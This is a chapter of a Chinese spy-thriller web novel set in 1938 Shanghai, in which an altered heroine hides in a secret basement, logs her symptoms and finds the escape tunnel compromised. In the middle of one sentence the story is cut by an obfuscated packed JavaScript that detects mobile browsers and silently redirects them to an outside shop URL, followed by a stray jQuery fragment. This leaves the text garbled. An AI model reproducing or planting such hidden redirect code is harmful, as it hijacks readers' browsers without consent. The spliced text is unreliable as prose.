一九三八年五月十四日,清晨五时许,公共租界西区某废弃印刷厂地下室
霉味、油墨的酸败气息和灰尘混合在一起,形成一种令人窒息的浑浊空气。唯一的光源是墙角一盏用报纸勉强围拢的煤油灯,光线摇曳,将室内堆积的废弃印刷机器和成捆发黄的纸张投射出巨大而扭曲的阴影。
昭华裹着一条虽然粗糙但还算干燥的毛毯,靠在一张用木板和砖块临时搭起的床上。身体依旧冰冷,但比起在河伯祠浸泡河水时的刺骨,现在更多是一种深入骨髓的疲惫和虚弱。体内的幽蓝物质似乎也消耗了大量能量,活跃度明显降低,只在皮肤下留下极其微弱的、几乎不可察的荧光脉动。
赵大夫正小心地为“鹞子”检查伤口和换药。年轻人经历了落水和剧烈挣扎,伤口有轻微撕裂和感染的迹象,但万幸骨头没再移位。他此刻已沉沉睡去,只是脸色依旧苍白。
将他们接应到这里的,是冯师爷手下最得力的几个“船把头”,对苏州河下游错综复杂的水道了如指掌。这个废弃印刷厂的地下室,是冯师爷早年暗中经营的一个秘密货栈兼藏身处,位置隐蔽,有独立的通风口和伪装出口,知晓的人极少。
“沈小姐,喝点姜汤,驱驱寒气。”一个面容憨厚、眼神却透着精明的中年汉子端着一碗热气腾腾的褐色汤水过来,他是冯师爷的心腹,人称“老钟”。
昭华接过碗,姜的辛辣气息冲入鼻腔,让她麻木的感官稍微复苏。她小口啜饮着,滚烫的液体顺着食道流下,带来一阵短暂的、虚假的暖意,但很快又被体内那股顽固的冰寒中和、吞噬。
“顾先生……有消息吗?”她问,声音依旧嘶哑。
老钟点点头,从怀里掏出一个小纸卷,递给昭华:“顾先生传话,让您先安心休养,此地绝对安全。他正在处理紧要事务,最晚今天傍晚会设法亲自过来一趟。另外,他让您看看这个。”他指了指纸卷。
昭华展开纸卷,上面是顾沉舟用密写药水留下的字迹,字迹潦草,显然书写仓促:
“安。河伯祠险,幸有备。此地暂稳。
子夜频段已截获,编码似与乐谱及德英文混合有关,指向实验阶段。破译中。
惠仁地下或有密道网络,正探查。
钉子已入核心区,获初步情报。
你身体数据至关紧要,尤其体温与蓝光变化细节,需详录。
另:穆勒医生处国际报告已有初稿,风险极大,但或为破局关键。
保重。舟。”
信息简短,却字字千钧。截获了无线电信号,正在破译;地下通道在探查;“钉子”已经获得情报;穆勒的报告在准备……顾沉舟在短短一天多时间里,几乎同时在多条战线上取得了突破性进展。
而他特意提到她的身体数据,让她详录。这意味着,她这具“标本”的价值,正在被各方——无论是敌人“渡鸦”,还是盟友顾沉舟和穆勒——重新评估和利用。
她放下纸条,看向老钟:“有纸笔吗?还有……体温计,如果可能的话。”
老钟很快找来一个破旧的笔记本、半截铅笔,还有一支虽然老旧但看起来还能用的水银体温计。
昭华没有立刻测量。她闭上眼睛,集中精神,去感受体内的状态。冰冷、疲惫、虚弱,感官依然敏锐但带着一种过度使用后的钝痛……她开始在本子上记录:
时间:五月十四日,约清晨五时三十分
主观感受:深度寒冷,自内而外,极度疲惫,四肢沉重麻木。听觉、嗅觉异常敏锐,可辨数十米外细微声响,能分辨不同方向气味,但对温度感知扭曲,外部温热感知迟钝,体内冰寒感知清晰。情绪波动似乎能轻微影响体内“幽蓝物质”活跃度,紧张、用力时流动加速,伴有微弱暖流反哺;平静时相对沉寂。
视觉异常:皮肤下幽蓝荧光显著减弱,呈极淡脉动,仅在注意力高度集中或接触极冷时可见增强。黑暗环境下视觉似乎略有增强?
体温:触感估计远低于常人,具体未知。
补充:主动接触冷水后,体内物质曾剧烈反应,后伴随“暖流”反哺,暂时提升水下活动能力及耐力,但消耗巨大,事后虚弱感加倍。
疑问:此状态是否为可控“休眠”?“幽蓝物质”与“N7”毒素是何关系?是抑制,是共生,还是另一种形式的载体或者催化剂?
写完这些,她才将体温计夹在腋下。冰冷的玻璃触感让她微微一颤。
等待的五分钟里,地下室陷入一片寂静,只有煤油灯芯偶尔爆出的噼啪声,和“鹞子”沉睡中轻微的鼾声。
昭华的目光落在墙角的阴影里,那里堆放着一些蒙尘的印刷模版和废弃的铅字。一些破碎的、颠倒的字体在昏暗光线下难以辨认。她的思绪却飘向了“惠仁疗养院”。
妹妹沈明瑜——“白狐”——出没的地方。那里是巢穴,是实验场,也可能藏着妹妹变成如今这副模样的全部真相。地下通道……如果顾沉舟的人真能找到潜入的路径,她是否应该……亲自去一趟?
这个念头刚冒出来,就被她自己按了下去。以她现在的身体状况,别说执行潜入任务,恐怕走远路都困难。她不能成为累赘。
但……如果她的身体异变,真的是某种“钥匙”呢?如果“惠仁”地下藏着与“N7”和那幽蓝药剂直接相关的核心秘密,或许只有她这具“活体标本”接近时,才会触发或揭示某些东西?
风险与机遇,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070542|195200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如同一枚硬币的两面。
时间到。她取出体温计,就着煤油灯昏黄的光线,仔细辨认着水银柱的刻度。
34.1摄氏度。
远低于正常的36-37摄氏度。这是一个危险的低温,足以让普通人出现严重失温症状甚至昏迷。而她却还保持着清醒,虽然虚弱,还能思考。
她将这个数字郑重地记录在笔记本上。
就在这时,一直守在印刷机旁、透过一个隐蔽窥孔观察外面情况的老钟,忽然身体一僵,低声道:“有动静。”
地下室瞬间安静下来。赵大夫也停下了手中的动作,警惕地望向上方。
老钟将耳朵贴在窥孔旁的金属管道上,仔细倾听了几秒,眉头紧锁:“不是我们的人……脚步声很轻,但不止一个,在厂房侧门附近徘徊……好像在检查门锁。”
难道是渔民报官后,巡捕房或者“渡鸦”的人顺藤摸瓜找到了这里?不应该,冯师爷的这个点极其隐秘,转移路线也经过周密设计。
“从后道走。”老钟当机立断,示意赵大夫背起还在昏睡的“鹞子”,自己则搀扶起昭华。
所谓“后道”,是印刷厂地下室一个极其隐蔽的出口,伪装成堆放废弃油墨桶的角落,推开几个空桶后,露出一个仅容一人弯腰通过的、低矮的砖砌通道,通向隔壁早已废弃的染坊地基深处,那里另有出口。
然而,就在他们刚刚挪开油墨桶,老钟正要去推开那扇隐藏在砖墙后的暗门时——
“咔哒。”
一声极其轻微的、仿佛金属簧片被拨动的声音,从暗门内部传来。
老钟的动作猛地僵住,脸色瞬间变得极其难看。他缓缓后退,对昭华和赵大夫做了个“绝对安静”的手势,然后用口型无声地说:
“机关……被触发了。里面……有人先动了。”
有人,在他们之前,或者几乎同时,进入了这条秘密通道!而且触动了冯师爷设下的、极其隐蔽的警示机关!
是谁?冯师爷的另一路手下?不可能,如果有其他接应,老钟一定会知道。
那么,只能是……同样知道这个隐秘据点,甚至可能知道这条逃生通道的人!
是敌?是友?
冷汗,瞬间浸湿了老钟的后背。昭华的心也沉了下去。刚脱离河伯祠的险境,难道又落入了另一个更精心布置的陷阱?
地下室里,空气凝固了。煤油灯的光晕在每个人惊疑不定的脸上跳动。暗门之后,是未知的等待,还是骤然爆发的杀机?
而厂房侧门外,那徘徊的脚步声,似乎也停了下来。
内外交困,真正的暗桩,似乎在这一刻,才悄然浮出阴影,露出了冰冷的獠牙。